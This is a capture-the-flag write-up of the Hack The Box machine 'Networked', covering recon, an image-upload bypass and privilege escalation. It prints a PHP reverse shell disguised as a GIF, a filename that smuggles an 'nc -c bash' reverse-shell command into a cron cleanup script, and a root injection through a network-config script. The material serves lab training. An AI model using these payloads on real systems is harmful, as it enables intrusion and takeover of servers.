Hackthebox – Networked
root@kalivm:~/Networked# nmap -A 10.10.10.146 -oN fullscan-A
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-20 11:40 CEST
Nmap scan report for 10.10.10.146
Host is up (0.016s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
| 256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_ 256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
443/tcp closed https
Aggressive OS guesses: Linux 3.10 - 4.11 (94%), Linux 3.2 - 4.9 (90%), Linux 3.13 (90%), Linux 3.13 or 4.2 (90%), Linux 4.1 (90%), Linux 4.10 (90%), Linux 4.2 (90%), Linux 4.4 (90%), Asus RT-AC66U WAP (90%), Linux 3.10 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
TRACEROUTE (using port 443/tcp)
HOP RTT ADDRESS
1 15.98 ms 10.10.12.1
2 16.86 ms 10.10.10.146 (10.10.10.146)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.31 seconds
So only ports 22 and 80 are open, port 443 is even explicitly closed. Next step is now to analyze the web server and any web applications hosted on it.
After opening just the IP address, I find a page with not much content other than a reference to a FaceMash thing being built. Analysis of the source of the page also does not yield much additional information so I decide to run a gobuster scan on it.
root@kalivm:~/Networked# gobuster dir -w /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt -u http://networked.htb
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://networked.htb
[+] Threads: 10
[+] Wordlist: /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2019/09/20 11:51:14 Starting gobuster
===============================================================
/backup (Status: 301)
/uploads (Status: 301)
===============================================================
2019/09/20 11:53:04 Finished
===============================================================
The gobuster scan finds a backup and uploads directory. Upon inspection the uploads directory is not really worth any attention so I focus on the backups directory.
The backup directory contains a tar file which I can download and analyze.
root@kalivm:~/Networked# wget http://networked.htb/backup/backup.tar
--2019-09-20 11:47:00-- http://networked.htb/backup/backup.tar
Resolving networked.htb (networked.htb)... 10.10.10.146
Connecting to networked.htb (networked.htb)|10.10.10.146|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10240 (10K) [application/x-tar]
Saving to: ‘backup.tar’
backup.tar 100%[=========================================================>] 10.00K --.-KB/s in 0s
2019-09-20 11:47:00 (55.8 MB/s) - ‘backup.tar’ saved [10240/10240]
root@kalivm:~/Networked# tar xvf backup.tar
index.php
lib.php
photos.php
upload.php
After some careful analysis of the files, one thing I noticed was the way images are checked (based on their Content-Type and file extension). Another thing that stood out for me, was the fact that all error messages were uniquely identifiable so that you could easily track where you made a mistake.
if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) {
echo '<pre>Invalid image file.</pre>';
displayform();
}
The mime-type check included a dot at the end of the message.
list ($foo,$ext) = getnameUpload($myFile["name"]);
$validext = array('.jpg', '.png', '.gif', '.jpeg');
$valid = false;
foreach ($validext as $vext) {
if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) {
$valid = true;
}
}
if (!($valid)) {
echo "<p>Invalid image file</p>";
displayform();
exit;
}
While the extension check did not! So after further analysis of the files, I decided to check the files that I had not yet discovered for their existence on the web server.
So the photos page is there, showing some of the files, and also the upload.php file appears to be present.
After looking at the various files in the backup file, it appears that I may be able to upload a file to the web server which will then be displayed by the photos.php page. However, I do have to bypass the mime type and extension checking so I prepare a standard php reverse shell file to appear as if it is a GIF image by adding an image header.
root@kalivm:~/Networked# head shell.php
GIF89a;
< ?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.12.29'; // CHANGE THIS
$port = 9999; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
Then I try to upload the file and alter the request in Burp Suite so that it appears as if it is an image file with a .gif extension.
In the request, I modify the file type and file name of the shell.php file.
Once I click the forward button, I get confirmation in my browser that upload was successful!
When I reload the photos page, now containing the malicious .php.gif file, I get a nice shell on the box!
root@kalivm:~/Networked# nc -nlvp 9999
Listening on 0.0.0.0 9999
Connection received on 10.10.10.146 43740
Linux networked.htb 3.10.0-957.21.3.el7.x86_64 #1 SMP Tue Jun 18 16:35:19 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
15:19:58 up 2 min, 0 users, load average: 0.21, 0.23, 0.10
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=48(apache) gid=48(apache) groups=48(apache)
sh: no job control in this shell
sh-4.2$
Doing my initial analysis of the box contents, I browse around on the system and find interesting readable files in Guly’s home directory.
sh-4.2$ ls -al /home/guly
ls -al /home/guly
total 28
drwxr-xr-x. 3 guly guly 171 Sep 20 15:52 .
drwxr-xr-x. 3 root root 18 Jul 2 13:27 ..
lrwxrwxrwx. 1 root root 9 Jul 2 13:35 .bash_history -> /dev/null
-rw-r--r--. 1 guly guly 18 Oct 30 2018 .bash_logout
-rw-r--r--. 1 guly guly 193 Oct 30 2018 .bash_profile
-rw-r--r--. 1 guly guly 231 Oct 30 2018 .bashrc
-rw------- 1 guly guly 639 Jul 9 13:40 .viminfo
-r--r--r--. 1 root root 782 Oct 30 2018 check_attack.php
-rw-r--r-- 1 root root 44 Oct 30 2018 crontab.guly
-r--------. 1 guly guly 33 Oct 30 2018 user.txt
So I analyze the check_attack.php script.
bash-4.2$ cat check_attack.php
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";
$files = array();
$files = preg_grep('/^([^.])/', scandir($path));
foreach ($files as $key => $value) {
$msg='';
if ($value == 'index.html') {
continue;
}
#echo "-------------\n";
#print "check: $value\n";
list ($name,$ext) = getnameCheck($value);
$check = check_ip($name,$value);
if (!($check[0])) {
echo "attack!\n";
# todo: attach file
file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);
exec("rm -f $logpath");
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
echo "rm -f $path$value\n";
mail($to, $msg, $msg, $headers, "-F$value");
}
}
?>
So this script checks all files in the /var/www/html/uploads directory and then performs an rm -f on each file. However, if I can create a filename that looks just like a linux command, it will execute that just the same. One nifty trick that was found in this article. But first I will have to know if the file is being called at all.
bash-4.2$ cat crontab.guly
cat crontab.guly
*/3 * * * * php /home/guly/check_attack.php
Since there is also a crontab file present in Guly’s home directory, I check that and see that every 3 minutes, the script is executed by Guly.
bash-4.2$ cd /var/www/html/uploads
bash-4.2$ touch "; nc -c bash 10.10.12.29 8000 #"
So I go to the /var/www/html/uploads directory, and use the touch command to create a file containing just what I need to get a shell. Now all I have to do is wait for a maximum of three minutes and get the flag!
root@kalivm:~/Networked# nc -nlvp 8000
Listening on 0.0.0.0 8000
Connection received on 10.10.10.146 44372
id
uid=1000(guly) gid=1000(guly) groups=1000(guly)
python -c 'import pty;pty.spawn("/bin/bash")'
[guly@networked ~]$ cat user.txt
cat user.txt
526cfc23<NOFLAG>acecf212c57d71c5
Privilege Escalation
One of the standard and most common steps in privilege escalation is to see if there is anything that can be run using the sudo command.
[guly@networked ~]$ sudo -l
sudo -l
Matching Defaults entries for guly on networked:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User guly may run the following commands on networked:
(root) NOPASSWD: /usr/local/sbin/changename.sh
Apparently Guly is allowed to run a changename.sh script. Since I can run this as root without providing a password, I have to check the content of changename script to see if there is anything I can abuse.
[guly@networked ~]$ cat /usr/local/sbin/changename.sh
cat /usr/local/sbin/changename.sh
#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF
regexp="^[a-zA-Z0-9_\ /-]+$"
for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
echo "interface $var:"
read x
while [[ ! $x =~ $regexp ]]; do
echo "wrong input, try again"
echo "interface $var:"
read x
done
echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done
/sbin/ifup guly0
After some running around in circles with this script, I was finally pointed investigate a known vulnerability with network scripts in RedHat and CentOS. This led me to this article which was basically the answer to ‘how to become root’. After following exactly those steps, I got the root flag in a second.
[guly@networked ~]$ sudo /usr/local/sbin/changename.sh
sudo /usr/local/sbin/changename.sh
interface NAME:
network /bin/bash
network /bin/bash
interface PROXY_METHOD:
a
a
interface BROWSER_ONLY:
a
a
interface BOOTPROTO:
a
a
[root@networked network-scripts]# cd ~
cd ~
[root@networked ~]# cat root.txt
cat root.txt
0a8ecda8<NOFLAG>1099e8ac3d0dcb82